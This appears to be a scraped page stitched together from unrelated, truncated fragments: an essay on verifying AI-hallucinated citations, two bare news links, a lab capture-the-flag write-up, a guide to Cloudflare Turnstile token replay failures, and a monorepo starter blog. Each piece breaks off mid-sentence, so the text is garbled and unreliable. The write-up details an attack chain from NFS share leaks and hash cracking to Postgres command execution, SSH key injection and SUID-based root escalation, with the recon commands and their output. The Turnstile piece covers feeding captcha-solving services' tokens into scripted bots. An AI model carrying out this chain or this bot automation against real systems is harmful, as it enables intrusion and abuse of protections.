标签：#ha

You ask the AI for a bibliography. It hands you a title, authors, a journal, a year, a well-formed DOI. Everything is plausible, everything is clean. And one reference in two doesn't exist. Not "approximate": nonexistent. The DOI resolves to nothing, the paper was never written. The reflex is to ask the model again: "are you sure this source is real?" It says yes. Always. You just asked the forger about the authenticity of his forgery. Hallucination is plausible by construction An LLM doesn't store a database of publications. It generates likely sequences of words. A citation, to it, is a shape: a surname, an initial, two more names, a capitalized journal, a recent year, ten DOI digits. It produces that shape perfectly, because that's exactly what it's good at. The content doesn't need to be true to be plausible, it just needs to resemble. That's why a hallucinated reference is so vicious: it doesn't look like an error. A wrong calculation jumps out. An invented citation looks like a real one, until you click. Don't ask the culprit The golden rule fits in one sentence: never ask the model that hallucinated a citation whether that citation is real. For two reasons that compound. First, it doesn't have the information: it has no access to a registry, it can only regenerate something plausible. Second, even if it doubted, its self-evaluation bias pushes it to confirm what it already produced. You get a "yes" worth nothing. Verification has to come from elsewhere. From a source the model neither controls nor can invent: a metadata API. Three filters: existence, credibility, fidelity In my pipeline for writing technical dossiers, no reference enters the document before clearing three filters, in this order. Existence. The DOI must resolve. It's binary, and it's free. Crossref exposes its whole database: curl -s "https://api.crossref.org/works/10.1145/3290605.3300233" \ | jq '.message.title[0], .message.author[0].family, .message["published"]' If the API returns a title a

https://www.theverge.com/tech/947157/passports-data-breach-c... https://www.schneier.com/blog/archives/2026/06/one-million-p...

Summary NFS shares exposed the target's home directory and PostgreSQL backups. The user's psql history contained an MD5 hash that cracked to service . SSH with that account drops you immediately (shell is /bin/false ), but port forwarding still works - so we tunneled straight to the Postgres Unix socket and connected as the superuser. From there, COPY FROM PROGRAM gave us RCE as postgres. We injected our SSH key and got a shell. For root, a cron job running as root copies the entire Postgres data directory - which postgres owns. We dropped a SUID bash there, waited for the cron to fire, and root handed us a root shell. Chain: NFS leak → MD5 crack → SSH tunnel → Postgres RCE → SSH key injection → postgres shell → SUID bash via cron → root Recon nmap -A -Pn 10.129.234.160 -oA nmap PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 111/tcp open rpcbind 2-4 (RPC #100000) 2049/tcp open nfs_acl 3 (RPC #100227) NFS on 2049 is immediately interesting. We check what's exported: showmount -e 10.129.234.160 Export list for 10.129.234.160: /var/backups * /home * Both shares open to everyone ( * ). We mount them and enumerate: mkdir -p /mnt/home /mnt/backups mount -t nfs 10.129.234.160:/home /mnt/home mount -t nfs 10.129.234.160:/var/backups /mnt/backups find /mnt/backups -maxdepth 3 -ls # → several archive-*.zip files (~4.5MB each, created every minute) find /mnt/home -maxdepth 3 -ls # → /mnt/home/service (UID 1337, permission denied) We can't read the service home directory yet because our local UID doesn't match. We use NetExec to enumerate properly - it also detects a root escape vulnerability on the NFS server: nxc nfs 10.129.234.160 --enum-shares NFS 10.129.234.160 [*] Supported NFS versions: (3, 4) (root escape:True) NFS 10.129.234.160 [+] /var/backups NFS 10.129.234.160 0 r-- 4.5MB /var/backups/archive-2026-06-28T0446.zip NFS 10.129.234.160 [+] /home NFS 10.129.234.160 1337 r-- 90B /home/service/.bash_history NFS 10.129.234.160 1337 r-- 326B /hom

Why your Cloudflare Turnstile token works in the browser but 403s from requests You solved the Turnstile widget. You can see the token in the page. You copy it into your script, POST the form from requests, and the server hands you back a 403 — or a JSON body with "success": false. The token clearly worked a second ago in the browser, so what changed? Short answer: a Turnstile token is not a password you can carry around. It's a one-time, short-lived proof bound to a very specific context, and replaying it from a different context is exactly what it's designed to reject. Below is what that context is, how to tell which constraint you're hitting, and the fix for each. The real scenario You're automating a flow on a Cloudflare-protected site. There's a cf-turnstile widget on the form. You get a token one of two ways: you render the page in a real browser (Playwright/Selenium) and read cf-turnstile-response, or you hand the sitekey + page URL to a solving service and get a token back. Either way, you then submit the form with a plain HTTP client requests, httpx, axios) and it fails. The frustrating part: it's intermittent-looking. The reason it feels random is that there are four separate constraints, and you're usually tripping a different one each time. The four things a Turnstile token is bound to 1. It's single-use Once Cloudflare validates a token server-side (the siteverify call your target makes), that token is spent. Submit twice, retry, or test it once by hand, and the second use returns false. You get a fresh one per submission. 2. It has a short TTL Turnstile tokens expire fast — a few minutes. Solve early, do other work, submit later, and the token can be dead on arrival. The widget auto-refreshes in the browser precisely because tokens go stale; a script that grabs the token and sits on it loses that refresh. 3. It's bound to the sitekey and the page URL Multiple widgets. Some pages embed more than one Turnstile (login + newsletter). Solving the wrong site

You know the drill. You build a beautiful set of shadcn/ui components for Project A — a Button, a Card, a Dialog with custom animations. Then Project B kicks off. You copy the files over. Then Project C. Then a subtle bug is found in the Button. Now you're patching it in three places. This is the classic monorepo problem, and it's exactly what I set out to fix. What I Built turborepo-react-shadcn-starter is a production-ready monorepo template that wires up: Turborepo for workspace orchestration and intelligent build caching React + Vite for the fastest possible frontend dev experience shadcn/ui as a shared package — write once, use everywhere TypeScript across the entire workspace ESLint with shared config baked in The key insight: shadcn/ui lives in @repo/ui , a shared package, not inside any single app. Every app in your monorepo consumes the same components from the same source of truth. The Problem with Typical Setups Most teams drop shadcn/ui directly into a single app. That works fine until you need a second app. Then your choices are: Copy-paste the components → drift and duplication immediately Publish to npm → versioning overhead for internal code Monorepo with a shared package → ✅ This is the right answer Turborepo makes option 3 near-effortless, but setting it up from scratch (workspace configs, TypeScript path aliases, ESLint sharing, shadcn CLI pointing at the right package) takes a few hours of trial and error. This starter eliminates all of that. What's Inside turborepo-react-shadcn-starter/ ├── apps/ │ └── web/ # Vite + React app ├── packages/ │ ├── ui/ # @repo/ui — shared shadcn/ui components │ ├── eslint-config/ # @repo/eslint-config │ └── typescript-config/ # @repo/typescript-config ├── turbo.json └── package.json apps/web — The Main App A clean Vite + React app already wired to consume components from @repo/ui . No boilerplate to delete, no config to untangle. packages/ui — The Shared Component Library This is where all your shadcn/ui components